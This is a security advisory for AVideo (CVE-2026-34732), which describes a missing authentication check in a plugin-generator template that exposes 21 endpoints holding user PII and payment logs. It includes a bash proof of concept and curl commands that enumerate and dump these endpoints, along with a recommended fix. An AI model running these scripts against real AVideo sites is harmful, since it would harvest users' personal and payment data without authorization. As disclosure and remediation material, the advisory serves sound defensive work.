GHSA-g2mg-cgr6-vmv7 CVE-2026-34732
AVideo: Missing Authentication in CreatePlugin list.json.php Template Affects 21 Endpoints
- Severity
- 5.3 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.38%
- Chance of exploitation in the next 30 days. Higher than 32.37% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-306 Missing Authentication for Critical Function
- Fix
- None yet
- No fixed version published
Description
Summary
The AVideo CreatePlugin template for list.json.php does not include any authentication or authorization check. While the companion templates add.json.php and delete.json.php both require admin privileges, the list.json.php template was shipped without this guard. Every plugin that uses the CreatePlugin code generator inherits this omission, resulting in 21 unauthenticated data listing endpoints across the platform. These endpoints expose sensitive data including user PII, payment transaction logs, IP addresses, user agents, and internal system records.
Details
The list.json.php template in CreatePlugin/templates/ lacks any authentication check. Comparing with the sibling templates:
// CreatePlugin/templates/add.json.php:12
if (!User::isAdmin()) {
die('{"error": "Must be admin"}');
}
// CreatePlugin/templates/delete.json.php:11
if (!User::isAdmin()) {
die('{"error": "Must be admin"}');
}
// CreatePlugin/templates/list.json.php
// NO authentication check - accessible to anyone
This template is used by the CreatePlugin generator to scaffold CRUD endpoints for plugin database tables. Every generated list.json.php inherits the missing auth check, exposing the table contents to unauthenticated requests.
Confirmed on a live instance, the Meet plugin's join log endpoint returns full records without authentication:
GET /plugin/Meet/View/Meet_join_log/list.json.php HTTP/1.1
Response (HTTP 200):
{
"data": [
{
"id": 1,
"users_id": 42,
"ip": "REDACTED",
"user_agent": "Mozilla/5.0 ...",
"created": "2025-01-15 14:32:00",
"room_name": "private-meeting-xyz"
}
]
}
The 21 affected endpoints generated from this template include:
| Endpoint | Exposed Data |
|---|---|
plugin/Meet/View/Meet_join_log/list.json.php |
User IDs, IP addresses, user agents, timestamps, room names |
plugin/PayPalYPT/View/PayPalYPT_log/list.json.php |
PayPal transaction logs, payment amounts, buyer info |
plugin/AuthorizeNet/View/Anet_webhook_log/list.json.php |
Payment webhook data, transaction details |
plugin/CustomizeUser/View/Users_extra_info/list.json.php |
Extended user profile data, PII fields |
plugin/UserNotifications/View/User_notifications/list.json.php |
User notification records, activity patterns |
plugin/UserConnections/View/Users_connections/list.json.php |
Social connection graphs between users |
| And 15+ additional plugin endpoints | Various internal records |
Proof of Concept
Step 1: Enumerate accessible list endpoints (no authentication required):
#!/bin/bash
TARGET="https://your-avideo-instance.com"
ENDPOINTS=(
"plugin/Meet/View/Meet_join_log/list.json.php"
"plugin/PayPalYPT/View/PayPalYPT_log/list.json.php"
"plugin/AuthorizeNet/View/Anet_webhook_log/list.json.php"
"plugin/CustomizeUser/View/Users_extra_info/list.json.php"
"plugin/UserNotifications/View/User_notifications/list.json.php"
"plugin/UserConnections/View/Users_connections/list.json.php"
)
for endpoint in "${ENDPOINTS[@]}"; do
echo "=== $endpoint ==="
HTTP_CODE=$(curl -s -o /tmp/avi037_response.json -w "%{http_code}" "$TARGET/$endpoint")
echo "Status: $HTTP_CODE"
if [ "$HTTP_CODE" = "200" ]; then
echo "VULNERABLE - Data returned:"
python3 -m json.tool /tmp/avi037_response.json 2>/dev/null | head -20
fi
echo ""
done
Step 2: Retrieve paginated results from a specific endpoint:
# Fetch meeting join logs with pagination
curl -s "https://your-avideo-instance.com/plugin/Meet/View/Meet_join_log/list.json.php?length=100&start=0" \
| python3 -m json.tool
# Fetch payment logs
curl -s "https://your-avideo-instance.com/plugin/PayPalYPT/View/PayPalYPT_log/list.json.php?length=100&start=0" \
| python3 -m json.tool
Step 3: Discover additional vulnerable endpoints by scanning plugin directories:
curl -s "https://your-avideo-instance.com/plugin/" \
| grep -oP 'href="([^"]+)/"' \
| while read plugin; do
PLUGIN_NAME=$(echo "$plugin" | grep -oP '"([^"]+)/"' | tr -d '"/')
URL="$TARGET/plugin/$PLUGIN_NAME/View/"
curl -s "$URL" | grep -oP 'href="([^"]+)/"' | while read view; do
VIEW_NAME=$(echo "$view" | grep -oP '"([^"]+)/"' | tr -d '"/')
LIST_URL="$TARGET/plugin/$PLUGIN_NAME/View/$VIEW_NAME/list.json.php"
CODE=$(curl -s -o /dev/null -w "%{http_code}" "$LIST_URL")
[ "$CODE" = "200" ] && echo "FOUND: $LIST_URL"
done
done
Impact
21 data listing endpoints across AVideo plugins are accessible without any authentication. An unauthenticated attacker can retrieve:
- User PII: Extended profile information, email addresses, user IDs
- Payment data: PayPal and Authorize.Net transaction logs, payment amounts, buyer details
- Access logs: IP addresses, user agents, timestamps, and behavioral patterns from meeting join logs
- Social graphs: User connection and relationship data
- Activity records: Notification history revealing user behavior patterns
This is a systemic vulnerability originating from the code generation template, meaning every plugin created with the CreatePlugin generator will have the same issue unless the developer manually adds authentication. The template itself should be fixed to prevent future plugins from inheriting this flaw.
- CWE-306: Missing Authentication for Critical Function
- Severity: Medium
Recommended Fix
Add an admin authentication check to CreatePlugin/templates/list.json.php after the require lines, matching the pattern used in add.json.php and delete.json.php:
// CreatePlugin/templates/list.json.php (after the require lines)
if (!User::isAdmin()) {
die(json_encode(['error' => true]));
}
This fixes the template for future plugins. Additionally, retroactively patch all 21 existing generated list.json.php endpoints by adding the same admin check after their require lines.
Found by aisafe.io
Affected versions
Packagist
| Package | Vulnerable | Fixed in |
|---|---|---|
| wwbn/avideo | <= 26.0 |
No fix yet |
How to fix
No fixed version has been published yet. Until one is, remove or replace the package, or turn off or isolate the affected feature. This page updates when a fix ships.
Severity breakdown
CVSS 3.1 5.3
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- Low
- Integrity
- None
- Availability
- None
Weakness
CWE-306: Missing Authentication for Critical Function
The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.
How to prevent it
- Architecture and Design: Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability. Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port. In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Architecture and Design: Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks. In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
- Implementation, System Configuration, Operation: When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-7cqp-7cfv-6c3q AVideo Meet plugin: anonymous-to-admin stored XSS via unescaped participant User-Agent in getMeetInfo.json.php Participants panel | Medium | Also affects wwbn/avideo |
| GHSA-wc3f-xc32-435f AVideo has an incomplete fix of CVE-2026-33482: sanitizeFFmpegCommand still allows a single '&' (background operator), giving OS command execution at the same execAsync sh -c sink | High | Also affects wwbn/avideo |
| GHSA-95jh-7r58-xmxw AVideo has an Authorize.Net Webhook Signature Bypass that Enables Wallet Balance Inflation via Forged Payment Data | Medium | Also affects wwbn/avideo |
| GHSA-wf69-r4mx-43rr AVideo Vulnerable to Unauthenticated .env File Exposure via Official Docker Compose Configuration | High | Also affects wwbn/avideo |
| GHSA-8j8m-p79x-g4jm AVideo's Privilege Escalation via Unguarded Permission Parameters in signUp API Allows Self-Granting Upload/Stream/Meet Permissions | Medium | Also affects wwbn/avideo |
| GHSA-8whc-2wmv-ww35 WWBN AVideo: Unauthenticated Stored DOM Cross-Site Scripting via Per-Client Metadata Broadcast in YPTSocket Plugin | Critical | Also affects WWBN/AVideo |
| GHSA-66q5-cj5g-wrfx WWBN AVideo: Stored XSS via Hostile YouTube Video Title in AVideo YouTubeAPI Gallery Section | Medium | Also affects WWBN/AVideo |
| GHSA-hgjh-6wj8-gcgf WWBN AVideo: Unauthenticated Reflected XSS via $_GET['search'] in AVideo YouTubeAPI Gallery Pagination | Medium | Also affects WWBN/AVideo |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor